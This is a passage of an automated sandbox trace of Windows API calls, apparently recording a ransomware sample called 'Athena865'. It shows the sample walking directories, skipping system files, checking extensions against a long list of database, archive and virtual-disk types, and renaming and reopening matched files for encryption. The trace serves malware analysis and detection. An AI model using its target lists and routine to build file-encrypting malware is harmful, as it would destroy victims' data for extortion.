dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5090, lpName=0x0) returned 0x154 [0091.019] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x5090) returned 0x100000 [0091.020] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518ef8) returned 1 [0091.021] CryptGenRandom (in: hProv=0x518ef8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0091.021] CryptReleaseContext (hProv=0x518ef8, dwFlags=0x0) returned 1 [0091.021] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0091.021] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0091.021] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0091.021] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0091.021] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0091.021] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0091.021] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0091.021] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0091.022] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0091.022] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0091.022] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0091.022] CloseHandle (hObject=0x154) returned 1 [0091.022] CloseHandle (hObject=0x17c) returned 1 [0091.022] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d1b0 | out: hHeap=0x4f0000) returned 1 [0091.022] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518f80 | out: hHeap=0x4f0000) returned 1 [0091.022] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0091.022] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x828f4a85, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x828f4a85, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x8b1f3147, ftLastWriteTime.dwHighDateTime=0x1c9ea0d, nFileSizeHigh=0x0, nFileSizeLow=0x14ff, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="connectionmanager_dmr.xml", cAlternateFileName="")) returned 1 [0091.022] lstrcmpiW (lpString1="connectionmanager_dmr.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0091.022] lstrcmpiW (lpString1="connectionmanager_dmr.xml", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0091.022] lstrcmpiW (lpString1="connectionmanager_dmr.xml", lpString2=".") returned 1 [0091.022] lstrcmpiW (lpString1="connectionmanager_dmr.xml", lpString2="..") returned 1 [0091.022] lstrcmpiW (lpString1="connectionmanager_dmr.xml", lpString2="windows") returned -1 [0091.022] lstrcmpiW (lpString1="connectionmanager_dmr.xml", lpString2="bootmgr") returned 1 [0091.023] lstrcmpiW (lpString1="connectionmanager_dmr.xml", lpString2="temp") returned -1 [0091.023] lstrcmpiW (lpString1="connectionmanager_dmr.xml", lpString2="pagefile.sys") returned -1 [0091.023] lstrcmpiW (lpString1="connectionmanager_dmr.xml", lpString2="boot") returned 1 [0091.023] lstrcmpiW (lpString1="connectionmanager_dmr.xml", lpString2="ids.txt") returned -1 [0091.023] lstrcmpiW (lpString1="connectionmanager_dmr.xml", lpString2="ntuser.dat") returned -1 [0091.023] lstrcmpiW (lpString1="connectionmanager_dmr.xml", lpString2="perflogs") returned -1 [0091.023] lstrcmpiW (lpString1="connectionmanager_dmr.xml", lpString2="MSBuild") returned -1 [0091.023] lstrlenW (lpString="connectionmanager_dmr.xml") returned 25 [0091.023] lstrcpyW (in: lpString1=0x241e8b2, lpString2="connectionmanager_dmr.xml" | out: lpString1="connectionmanager_dmr.xml") returned="connectionmanager_dmr.xml" [0091.023] lstrlenW (lpString="connectionmanager_dmr.xml") returned 25 [0091.023] lstrlenW (lpString="Athena865") returned 9 [0091.023] lstrcmpiW (lpString1="r_dmr.xml", lpString2="Athena865") returned 1 [0091.023] lstrlenW (lpString=".dll") returned 4 [0091.023] lstrcmpiW (lpString1="connectionmanager_dmr.xml", lpString2=".dll") returned 1 [0091.023] lstrlenW (lpString=".lnk") returned 4 [0091.023] lstrcmpiW (lpString1="connectionmanager_dmr.xml", lpString2=".lnk") returned 1 [0091.023] lstrlenW (lpString=".ini") returned 4 [0091.023] lstrcmpiW (lpString1="connectionmanager_dmr.xml", lpString2=".ini") returned 1 [0091.023] lstrlenW (lpString=".sys") returned 4 [0091.023] lstrcmpiW (lpString1="connectionmanager_dmr.xml", lpString2=".sys") returned 1 [0091.023] lstrlenW (lpString="connectionmanager_dmr.xml") returned 25 [0091.023] lstrlenW (lpString="bak") returned 3 [0091.023] lstrcmpiW (lpString1="xml", lpString2="bak") returned 1 [0091.023] lstrlenW (lpString="ba_") returned 3 [0091.023] lstrcmpiW (lpString1="xml", lpString2="ba_") returned 1 [0091.023] lstrlenW (lpString="dbb") returned 3 [0091.023] lstrcmpiW (lpString1="xml", lpString2="dbb") returned 1 [0091.023] lstrlenW (lpString="vmdk") returned 4 [0091.023] lstrcmpiW (lpString1=".xml", lpString2="vmdk") returned -1 [0091.023] lstrlenW (lpString="rar") returned 3 [0091.023] lstrcmpiW (lpString1="xml", lpString2="rar") returned 1 [0091.024] lstrlenW (lpString="zip") returned 3 [0091.024] lstrcmpiW (lpString1="xml", lpString2="zip") returned -1 [0091.024] lstrlenW (lpString="tgz") returned 3 [0091.024] lstrcmpiW (lpString1="xml", lpString2="tgz") returned 1 [0091.024] lstrlenW (lpString="vbox") returned 4 [0091.024] lstrcmpiW (lpString1=".xml", lpString2="vbox") returned -1 [0091.024] lstrlenW (lpString="vdi") returned 3 [0091.024] lstrcmpiW (lpString1="xml", lpString2="vdi") returned 1 [0091.024] lstrlenW (lpString="vhd") returned 3 [0091.024] lstrcmpiW (lpString1="xml", lpString2="vhd") returned 1 [0091.024] lstrlenW (lpString="vhdx") returned 4 [0091.024] lstrcmpiW (lpString1=".xml", lpString2="vhdx") returned -1 [0091.024] lstrlenW (lpString="avhd") returned 4 [0091.024] lstrcmpiW (lpString1=".xml", lpString2="avhd") returned -1 [0091.024] lstrlenW (lpString="db") returned 2 [0091.024] lstrcmpiW (lpString1="ml", lpString2="db") returned 1 [0091.024] lstrlenW (lpString="db2") returned 3 [0091.024] lstrcmpiW (lpString1="xml", lpString2="db2") returned 1 [0091.024] lstrlenW (lpString="db3") returned 3 [0091.024] lstrcmpiW (lpString1="xml", lpString2="db3") returned 1 [0091.024] lstrlenW (lpString="dbf") returned 3 [0091.024] lstrcmpiW (lpString1="xml", lpString2="dbf") returned 1 [0091.024] lstrlenW (lpString="mdf") returned 3 [0091.024] lstrcmpiW (lpString1="xml", lpString2="mdf") returned 1 [0091.024] lstrlenW (lpString="mdb") returned 3 [0091.024] lstrcmpiW (lpString1="xml", lpString2="mdb") returned 1 [0091.024] lstrlenW (lpString="sql") returned 3 [0091.024] lstrcmpiW (lpString1="xml", lpString2="sql") returned 1 [0091.024] lstrlenW (lpString="sqlite") returned 6 [0091.024] lstrcmpiW (lpString1="mr.xml", lpString2="sqlite") returned -1 [0091.024] lstrlenW (lpString="sqlite3") returned 7 [0091.024] lstrcmpiW (lpString1="dmr.xml", lpString2="sqlite3") returned -1 [0091.025] lstrlenW (lpString="sqlitedb") returned 8 [0091.025] lstrcmpiW (lpString1="_dmr.xml", lpString2="sqlitedb") returned -1 [0091.025] lstrlenW (lpString="xml") returned 3 [0091.025] lstrcmpiW (lpString1="xml", lpString2="xml") returned 0 [0091.025] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Windows Media Player\\Media Renderer\\connectionmanager_dmr.xml.Athena865") returned 88 [0091.025] MoveFileExW (lpExistingFileName="C:\\Program Files\\Windows Media Player\\Media Renderer\\connectionmanager_dmr.xml" (normalized: "c:\\program files\\windows media player\\media renderer\\connectionmanager_dmr.xml"), lpNewFileName="C:\\Program Files\\Windows Media Player\\Media Renderer\\connectionmanager_dmr.xml.Athena865" (normalized: "c:\\program files\\windows media player\\media renderer\\connectionmanager_dmr.xml.athena865"), dwFlags=0x1) returned 1 [0091.026] CreateFileW (lpFileName="C:\\Program Files\\Windows Media Player\\Media Renderer\\connectionmanager_dmr.xml.Athena865" (normalized: "c:\\program files\\windows media player\\media renderer\\connectionmanager_dmr.xml.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0091.026] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=5375) returned 1 [0091.026] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0091.027] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d1b0 [0091.027] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518f80 [0091.027] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518ef8) returned 1 [0091.027] CryptGenRandom (in: hProv=0x518ef8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0091.027] CryptReleaseContext (hProv=0x518ef8, dwFlags=0x0) returned 1 [0091.028] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1800, lpName=0x0) returned 0x154 [0091.029] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1800) returned 0x100000 [0091.030] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518ef8) returned 1 [0091.031] CryptGenRandom (in: hProv=0x518ef8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0091.031] CryptReleaseContext (hProv=0x518ef8, dwFlags=0x0) returned 1 [0091.031] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0091.031] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0091.031] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0091.031] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0091.031] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0091.031] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0091.031] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0091.031] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0091.031] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0091.031] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0091.031] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0091.032] CloseHandle (hObject=0x154) returned 1 [0091.032] CloseHandle (hObject=0x17c) returned 1 [0091.032] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d1b0 | out: hHeap=0x4f0000) returned 1 [0091.032] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518f80 | out: hHeap=0x4f0000) returned 1 [0091.032] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0091.032] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x828f4a85, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x828f4a85, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x898f4b97, ftLastWriteTime.dwHighDateTime=0x1c9ea0d, nFileSizeHigh=0x0, nFileSizeLow=0xba3, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DMR_120.jpg", cAlternateFileName="")) returned 1 [0091.032] lstrcmpiW (lpString1="DMR_120.jpg", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0091.032] lstrcmpiW (lpString1="DMR_120.jpg", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0091.032] lstrcmpiW (lpString1="DMR_120.jpg", lpString2=".") returned 1 [0091.032] lstrcmpiW (lpString1="DMR_120.jpg", lpString2="..") returned 1 [0091.032] lstrcmpiW (lpString1="DMR_120.jpg", lpString2="windows") returned -1 [0091.032] lstrcmpiW (lpString1="DMR_120.jpg", lpString2="bootmgr") returned 1 [0091.032] lstrcmpiW (lpString1="DMR_120.jpg", lpString2="temp") returned -1 [0091.032] lstrcmpiW (lpString1="DMR_120.jpg", lpString2="pagefile.sys") returned -1 [0091.032] lstrcmpiW (lpString1="DMR_120.jpg", lpString2="boot") returned 1 [0091.032] lstrcmpiW (lpString1="DMR_120.jpg", lpString2="ids.txt") returned -1 [0091.032] lstrcmpiW (lpString1="DMR_120.jpg", lpString2="ntuser.dat") returned -1 [0091.032] lstrcmpiW (lpString1="DMR_120.jpg", lpString2="perflogs") returned -1 [0091.032] lstrcmpiW (lpString1="DMR_120.jpg", lpString2="MSBuild") returned -1 [0091.032] lstrlenW (lpString="DMR_120.jpg") returned 11 [0091.032] lstrcpyW (in: lpString1=0x241e8b2, lpString2="DMR_120.jpg" | out: lpString1="DMR_120.jpg") returned="DMR_120.jpg" [0091.032] lstrlenW (lpString="DMR_120.jpg") returned 11 [0091.032] lstrlenW (lpString="Athena865") returned 9 [0091.032] lstrcmpiW (lpString1="R_120.jpg", lpString2="Athena865") returned 1 [0091.032] lstrlenW (lpString=".dll") returned 4 [0091.033] lstrcmpiW (lpString1="DMR_120.jpg", lpString2=".dll") returned 1 [0091.033] lstrlenW (lpString=".lnk") returned 4 [0091.033] lstrcmpiW (lpString1="DMR_120.jpg", lpString2=".lnk") returned 1 [0091.033] lstrlenW (lpString=".ini") returned 4 [0091.033] lstrcmpiW (lpString1="DMR_120.jpg", lpString2=".ini") returned 1 [0091.033] lstrlenW (lpString=".sys") returned 4 [0091.033] lstrcmpiW (lpString1="DMR_120.jpg", lpString2=".sys") returned 1 [0091.033] lstrlenW (lpString="DMR_120.jpg") returned 11 [0091.033] lstrlenW (lpString="bak") returned 3 [0091.033] lstrcmpiW (lpString1="jpg", lpString2="bak") returned 1 [0091.033] lstrlenW (lpString="ba_") returned 3 [0091.033] lstrcmpiW (lpString1="jpg", lpString2="ba_") returned 1 [0091.033] lstrlenW (lpString="dbb") returned 3 [0091.033] lstrcmpiW (lpString1="jpg", lpString2="dbb") returned 1 [0091.033] lstrlenW (lpString="vmdk") returned 4 [0091.033] lstrcmpiW (lpString1=".jpg", lpString2="vmdk") returned -1 [0091.033] lstrlenW (lpString="rar") returned 3 [0091.033] lstrcmpiW (lpString1="jpg", lpString2="rar") returned -1 [0091.033] lstrlenW (lpString="zip") returned 3 [0091.033] lstrcmpiW (lpString1="jpg", lpString2="zip") returned -1 [0091.033] lstrlenW (lpString="tgz") returned 3 [0091.033] lstrcmpiW (lpString1="jpg", lpString2="tgz") returned -1 [0091.033] lstrlenW (lpString="vbox") returned 4 [0091.033] lstrcmpiW (lpString1=".jpg", lpString2="vbox") returned -1 [0091.033] lstrlenW (lpString="vdi") returned 3 [0091.033] lstrcmpiW (lpString1="jpg", lpString2="vdi") returned -1 [0091.033] lstrlenW (lpString="vhd") returned 3 [0091.033] lstrcmpiW (lpString1="jpg", lpString2="vhd") returned -1 [0091.033] lstrlenW (lpString="vhdx") returned 4 [0091.033] lstrcmpiW (lpString1=".jpg", lpString2="vhdx") returned -1 [0091.033] lstrlenW (lpString="avhd") returned 4 [0091.033] lstrcmpiW (lpString1=".jpg", lpString2="avhd") returned -1 [0091.034] lstrlenW (lpString="db") returned 2 [0091.034] lstrcmpiW (lpString1="pg", lpString2="db") returned 1 [0091.034] lstrlenW (lpString="db2") returned 3 [0091.034] lstrcmpiW (lpString1="jpg", lpString2="db2") returned 1 [0091.034] lstrlenW (lpString="db3") returned 3 [0091.034] lstrcmpiW (lpString1="jpg", lpString2="db3") returned 1 [0091.034] lstrlenW (lpString="dbf") returned 3 [0091.034] lstrcmpiW (lpString1="jpg", lpString2="dbf") returned 1 [0091.034] lstrlenW (lpString="mdf") returned 3 [0091.034] lstrcmpiW (lpString1="jpg", lpString2="mdf") returned -1 [0091.034] lstrlenW (lpString="mdb") returned 3 [0091.034] lstrcmpiW (lpString1="jpg", lpString2="mdb") returned -1 [0091.034] lstrlenW (lpString="sql") returned 3 [0091.034] lstrcmpiW (lpString1="jpg", lpString2="sql") returned -1 [0091.034] lstrlenW (lpString="sqlite") returned 6 [0091.034] lstrcmpiW (lpString1="20.jpg", lpString2="sqlite") returned -1 [0091.034] lstrlenW (lpString="sqlite3") returned 7 [0091.034] lstrcmpiW (lpString1="120.jpg", lpString2="sqlite3") returned -1 [0091.034] lstrlenW (lpString="sqlitedb") returned 8 [0091.034] lstrcmpiW (lpString1="_120.jpg", lpString2="sqlitedb") returned -1 [0091.034] lstrlenW (lpString="xml") returned 3 [0091.034] lstrcmpiW (lpString1="jpg", lpString2="xml") returned -1 [0091.034] lstrlenW (lpString="$er") returned 3 [0091.034] lstrcmpiW (lpString1="jpg", lpString2="$er") returned 1 [0091.034] lstrlenW (lpString="4dd") returned 3 [0091.034] lstrcmpiW (lpString1="jpg", lpString2="4dd") returned 1 [0091.034] lstrlenW (lpString="4dl") returned 3 [0091.034] lstrcmpiW (lpString1="jpg", lpString2="4dl") returned 1 [0091.034] lstrlenW (lpString="^^^") returned 3 [0091.034] lstrcmpiW (lpString1="jpg", lpString2="^^^") returned 1 [0091.034] lstrlenW (lpString="abs") returned 3 [0091.034] lstrcmpiW (lpString1="jpg", lpString2="abs") returned 1 [0091.035] lstrlenW (lpString="abx") returned 3 [0091.035] lstrcmpiW (lpString1="jpg", lpString2="abx") returned 1 [0091.035] lstrlenW (lpString="accdb") returned 5 [0091.035] lstrcmpiW (lpString1="0.jpg", lpString2="accdb") returned -1 [0091.035] lstrlenW (lpString="accdc") returned 5 [0091.035] lstrcmpiW (lpString1="0.jpg", lpString2="accdc") returned -1 [0091.035] lstrlenW (lpString="accde") returned 5 [0091.035] lstrcmpiW (lpString1="0.jpg", lpString2="accde") returned -1 [0091.035] lstrlenW (lpString="accdr") returned 5 [0091.035] lstrcmpiW (lpString1="0.jpg", lpString2="accdr") returned -1 [0091.035] lstrlenW (lpString="accdt") returned 5 [0091.035] lstrcmpiW (lpString1="0.jpg", lpString2="accdt") returned -1 [0091.035] lstrlenW (lpString="accdw") returned 5 [0091.035] lstrcmpiW (lpString1="0.jpg", lpString2="accdw") returned -1 [0091.035] lstrlenW (lpString="accft") returned 5 [0091.035] lstrcmpiW (lpString1="0.jpg", lpString2="accft") returned -1 [0091.035] lstrlenW (lpString="adb") returned 3 [0091.035] lstrcmpiW (lpString1="jpg", lpString2="adb") returned 1 [0091.035] lstrlenW (lpString="adb") returned 3 [0091.035] lstrcmpiW (lpString1="jpg", lpString2="adb") returned 1 [0091.035] lstrlenW (lpString="ade") returned 3 [0091.035] lstrcmpiW (lpString1="jpg", lpString2="ade") returned 1 [0091.035] lstrlenW (lpString="adf") returned 3 [0091.035] lstrcmpiW (lpString1="jpg", lpString2="adf") returned 1 [0091.035] lstrlenW (lpString="adn") returned 3 [0091.035] lstrcmpiW (lpString1="jpg", lpString2="adn") returned 1 [0091.035] lstrlenW (lpString="adp") returned 3 [0091.035] lstrcmpiW (lpString1="jpg", lpString2="adp") returned 1 [0091.035] lstrlenW (lpString="alf") returned 3 [0091.035] lstrcmpiW (lpString1="jpg", lpString2="alf") returned 1 [0091.035] lstrlenW (lpString="ask") returned 3 [0091.035] lstrcmpiW (lpString1="jpg", lpString2="ask") returned 1 [0091.036] lstrlenW (lpString="btr") returned 3 [0091.036] lstrcmpiW (lpString1="jpg", lpString2="btr") returned 1 [0091.036] lstrlenW (lpString="cat") returned 3 [0091.036] lstrcmpiW (lpString1="jpg", lpString2="cat") returned 1 [0091.036] lstrlenW (lpString="cdb") returned 3 [0091.036] lstrcmpiW (lpString1="jpg", lpString2="cdb") returned 1 [0091.036] lstrlenW (lpString="ckp") returned 3 [0091.036] lstrcmpiW (lpString1="jpg", lpString2="ckp") returned 1 [0091.036] lstrlenW (lpString="cma") returned 3 [0091.036] lstrcmpiW (lpString1="jpg", lpString2="cma") returned 1 [0091.036] lstrlenW (lpString="cpd") returned 3 [0091.036] lstrcmpiW (lpString1="jpg", lpString2="cpd") returned 1 [0091.036] lstrlenW (lpString="dacpac") returned 6 [0091.036] lstrcmpiW (lpString1="20.jpg", lpString2="dacpac") returned -1 [0091.036] lstrlenW (lpString="dad") returned 3 [0091.036] lstrcmpiW (lpString1="jpg", lpString2="dad") returned 1 [0091.036] lstrlenW (lpString="dadiagrams") returned 10 [0091.036] lstrcmpiW (lpString1="MR_120.jpg", lpString2="dadiagrams") returned 1 [0091.036] lstrlenW (lpString="daschema") returned 8 [0091.036] lstrcmpiW (lpString1="_120.jpg", lpString2="daschema") returned -1 [0091.036] lstrlenW (lpString="db-journal") returned 10 [0091.036] lstrcmpiW (lpString1="MR_120.jpg", lpString2="db-journal") returned 1 [0091.036] lstrlenW (lpString="db-shm") returned 6 [0091.036] lstrcmpiW (lpString1="20.jpg", lpString2="db-shm") returned -1 [0091.036] lstrlenW (lpString="db-wal") returned 6 [0091.036] lstrcmpiW (lpString1="20.jpg", lpString2="db-wal") returned -1 [0091.036] lstrlenW (lpString="dbc") returned 3 [0091.036] lstrcmpiW (lpString1="jpg", lpString2="dbc") returned 1 [0091.036] lstrlenW (lpString="dbs") returned 3 [0091.036] lstrcmpiW (lpString1="jpg", lpString2="dbs") returned 1 [0091.036] lstrlenW (lpString="dbt") returned 3 [0091.037] lstrcmpiW (lpString1="jpg", lpString2="dbt") returned 1 [0091.037] lstrlenW (lpString="dbv") returned 3 [0091.037] lstrcmpiW (lpString1="jpg", lpString2="dbv") returned 1 [0091.037] lstrlenW (lpString="dbx") returned 3 [0091.037] lstrcmpiW (lpString1="jpg", lpString2="dbx") returned 1 [0091.037] lstrlenW (lpString="dcb") returned 3 [0091.037] lstrcmpiW (lpString1="jpg", lpString2="dcb") returned 1 [0091.037] lstrlenW (lpString="dct") returned 3 [0091.037] lstrcmpiW (lpString1="jpg", lpString2="dct") returned 1 [0091.037] lstrlenW (lpString="dcx") returned 3 [0091.037] lstrcmpiW (lpString1="jpg", lpString2="dcx") returned 1 [0091.037] lstrlenW (lpString="ddl") returned 3 [0091.037] lstrcmpiW (lpString1="jpg", lpString2="ddl") returned 1 [0091.037] lstrlenW (lpString="dlis") returned 4 [0091.037] lstrcmpiW (lpString1=".jpg", lpString2="dlis") returned -1 [0091.037] lstrlenW (lpString="dp1") returned 3 [0091.037] lstrcmpiW (lpString1="jpg", lpString2="dp1") returned 1 [0091.037] lstrlenW (lpString="dqy") returned 3 [0091.037] lstrcmpiW (lpString1="jpg", lpString2="dqy") returned 1 [0091.037] lstrlenW (lpString="dsk") returned 3 [0091.037] lstrcmpiW (lpString1="jpg", lpString2="dsk") returned 1 [0091.037] lstrlenW (lpString="dsn") returned 3 [0091.037] lstrcmpiW (lpString1="jpg", lpString2="dsn") returned 1 [0091.037] lstrlenW (lpString="dtsx") returned 4 [0091.037] lstrcmpiW (lpString1=".jpg", lpString2="dtsx") returned -1 [0091.037] lstrlenW (lpString="dxl") returned 3 [0091.037] lstrcmpiW (lpString1="jpg", lpString2="dxl") returned 1 [0091.037] lstrlenW (lpString="eco") returned 3 [0091.037] lstrcmpiW (lpString1="jpg", lpString2="eco") returned 1 [0091.037] lstrlenW (lpString="ecx") returned 3 [0091.037] lstrcmpiW (lpString1="jpg", lpString2="ecx") returned 1 [0091.038] lstrlenW (lpString="edb") returned 3 [0091.038] lstrcmpiW (lpString1="jpg", lpString2="edb") returned 1 [0091.038] lstrlenW (lpString="epim") returned 4 [0091.038] lstrcmpiW (lpString1=".jpg", lpString2="epim") returned -1 [0091.038] lstrlenW (lpString="fcd") returned 3 [0091.038] lstrcmpiW (lpString1="jpg", lpString2="fcd") returned 1 [0091.038] lstrlenW (lpString="fdb") returned 3 [0091.038] lstrcmpiW (lpString1="jpg", lpString2="fdb") returned 1 [0091.038] lstrlenW (lpString="fic") returned 3 [0091.038] lstrcmpiW (lpString1="jpg", lpString2="fic") returned 1 [0091.038] lstrlenW (lpString="flexolibrary") returned 12 [0091.038] lstrlenW (lpString="fm5") returned 3 [0091.038] lstrcmpiW (lpString1="jpg", lpString2="fm5") returned 1 [0091.038] lstrlenW (lpString="fmp") returned 3 [0091.038] lstrcmpiW (lpString1="jpg", lpString2="fmp") returned 1 [0091.038] lstrlenW (lpString="fmp12") returned 5 [0091.038] lstrcmpiW (lpString1="0.jpg", lpString2="fmp12") returned -1 [0091.038] lstrlenW (lpString="fmpsl") returned 5 [0091.038] lstrcmpiW (lpString1="0.jpg", lpString2="fmpsl") returned -1 [0091.038] lstrlenW (lpString="fol") returned 3 [0091.038] lstrcmpiW (lpString1="jpg", lpString2="fol") returned 1 [0091.038] lstrlenW (lpString="fp3") returned 3 [0091.038] lstrcmpiW (lpString1="jpg", lpString2="fp3") returned 1 [0091.038] lstrlenW (lpString="fp4") returned 3 [0091.038] lstrcmpiW (lpString1="jpg", lpString2="fp4") returned 1 [0091.038] lstrlenW (lpString="fp5") returned 3 [0091.038] lstrcmpiW (lpString1="jpg", lpString2="fp5") returned 1 [0091.038] lstrlenW (lpString="fp7") returned 3 [0091.039] lstrcmpiW (lpString1="jpg", lpString2="fp7") returned 1 [0091.039] lstrlenW (lpString="fpt") returned 3 [0091.039] lstrcmpiW (lpString1="jpg", lpString2="fpt") returned 1 [0091.039] lstrlenW (lpString="frm") returned 3 [0091.039] lstrcmpiW (lpString1="jpg", lpString2="frm") returned 1 [0091.039] lstrlenW (lpString="gdb") returned 3 [0091.039] lstrcmpiW (lpString1="jpg", lpString2="gdb") returned 1 [0091.039] lstrlenW (lpString="gdb") returned 3 [0091.039] lstrcmpiW (lpString1="jpg", lpString2="gdb") returned 1 [0091.039] lstrlenW (lpString="grdb") returned 4 [0091.039] lstrcmpiW (lpString1=".jpg", lpString2="grdb") returned -1 [0091.039] lstrlenW (lpString="gwi") returned 3 [0091.039] lstrcmpiW (lpString1="jpg", lpString2="gwi") returned 1 [0091.039] lstrlenW (lpString="hdb") returned 3 [0091.039] lstrcmpiW (lpString1="jpg", lpString2="hdb") returned 1 [0091.039] lstrlenW (lpString="his") returned 3 [0091.039] lstrcmpiW (lpString1="jpg", lpString2="his") returned 1 [0091.039] lstrlenW (lpString="ib") returned 2 [0091.039] lstrcmpiW (lpString1="pg", lpString2="ib") returned 1 [0091.039] lstrlenW (lpString="idb") returned 3 [0091.039] lstrcmpiW (lpString1="jpg", lpString2="idb") returned 1 [0091.039] lstrlenW (lpString="ihx") returned 3 [0091.039] lstrcmpiW (lpString1="jpg", lpString2="ihx") returned 1 [0091.039] lstrlenW (lpString="itdb") returned 4 [0091.039] lstrcmpiW (lpString1=".jpg", lpString2="itdb") returned -1 [0091.039] lstrlenW (lpString="itw") returned 3 [0091.039] lstrcmpiW (lpString1="jpg", lpString2="itw") returned 1 [0091.039] lstrlenW (lpString="jet") returned 3 [0091.039] lstrcmpiW (lpString1="jpg", lpString2="jet") returned 1 [0091.039] lstrlenW (lpString="jtx") returned 3 [0091.039] lstrcmpiW (lpString1="jpg", lpString2="jtx") returned -1 [0091.040] lstrlenW (lpString="kdb") returned 3 [0091.040] lstrcmpiW (lpString1="jpg", lpString2="kdb") returned -1 [0091.040] lstrlenW (lpString="kexi") returned 4 [0091.040] lstrcmpiW (lpString1=".jpg", lpString2="kexi") returned -1 [0091.040] lstrlenW (lpString="kexic") returned 5 [0091.040] lstrcmpiW (lpString1="0.jpg", lpString2="kexic") returned -1 [0091.040] lstrlenW (lpString="kexis") returned 5 [0091.040] lstrcmpiW (lpString1="0.jpg", lpString2="kexis") returned -1 [0091.040] lstrlenW (lpString="lgc") returned 